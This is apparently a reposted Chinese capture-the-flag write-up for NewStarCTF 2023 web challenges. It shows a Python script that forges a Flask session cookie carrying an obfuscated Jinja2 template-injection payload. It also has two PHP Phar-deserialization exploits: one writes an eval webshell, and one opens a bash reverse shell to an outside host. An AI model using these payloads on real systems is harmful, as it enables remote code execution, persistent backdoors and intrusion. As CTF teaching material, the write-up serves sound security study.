payload = "{{%print(xxx|attr(\"\"\\\\137\\\\137\\\\151\\\\156\\\\151\\\\164\\\\137\\\\137\"\")|attr(\"\"\\\\137\\\\137\\\\147\\\\154\\\\157\\\\142\\\\141\\\\154\\\\163\\\\137\\\\137\"\")|attr(\"\"\\\\137\\\\137\\\\147\\\\145\\\\164\\\\151\\\\164\\\\145\\\\155\\\\137\\\\137\"\")(\"\"\\\\137\\\\137\\\\142\\\\165\\\\151\\\\154\\\\164\\\\151\\\\156\\\\163\\\\137\\\\137\"\")|attr(\"\"\\\\137\\\\137\\\\147\\\\145\\\\164\\\\151\\\\164\\\\145\\\\155\\\\137\\\\137\"\")(\"\"\\\\145\\\\166\\\\141\\\\154\"\")({0}))%}}".format(eval_shell)
print(payload)
command = "python flask_session_cookie_manager3.py encode -s \"{0}\" -t \"{{'user':'{1}'}}\"".format(secret_key,payload)
print(command)

session_data = subprocess.check_output(command, shell=True)
print(session_data)
# linux和windows换行不一样,linux是去掉最后一个,windows是最后两个。
session_data = session_data[:-2].decode('utf-8')
# session_data = session_data[:-1].decode('utf-8')
print(session_data)

url = "http://127.0.0.1:8080/backdoor"
cookies = {"session": session_data}
res = requests.get(url=url, cookies=cookies)
# print(res.text)
pattern = r'<h1>(.*)</h1>'
result_content = re.search(pattern, res.text, re.S)
# print(result_content)
if result_content:
    result = result_content.group(1)
    print(result)
else:
    print("something wrong!")

得到flag
在这里插入图片描述

PharOne

考点:Phar反序列化、gzip压缩、无回显RCE

打开题目,有文件上传功能
访问

./class.php

,得到源码

 <?php
highlight_file(__FILE__);
class Flag{
    public $cmd;
    public function __destruct()
    {
        @exec($this->cmd);
    }
}
@unlink($_POST['file']); 

结合文件上传,考虑phar反序列化;同时还是无回显RCE,用写入马和反弹shell都行

用普通的phar文件上传发现不行(jpg才行)
修改然后上传发现被正则匹配
在这里插入图片描述绕过正则匹配,这里用的是gzip压缩的方法

方法一 写马

exp

<?php
class Flag{
    public $cmd;
}

$a=new Flag();
$a->cmd="echo \"<?=@eval(\\\$_POST['a']);\">/var/www/html/1.php";
$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

然后gzip命令压缩
在这里插入图片描述上传成功后,访问

./class.php

使用phar伪协议读取上传文件

file=phar://upload/9e32fd5eb93d0766e32d9e33cc3ef2d5.jpg

在这里插入图片描述执行成功后,访问写入的1.php,得到flag
在这里插入图片描述

方法二 反弹shell

exp

<?php
class Flag{
    public $cmd;
}

$a=new Flag();
$a->cmd="bash -c 'bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1'";
$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

然后就和方法一差不多,先gzip压缩改后缀,然后phar伪协议读取
成功反弹shell
在这里插入图片描述

标签: 前端 web安全 php

本文转载自: https://blog.csdn.net/m0_73512445/article/details/133694293
版权归原作者 Sx_zzz 所有, 如有侵权,请联系我们删除。

“[NewStarCTF 2023] web题解”的评论:

还没有评论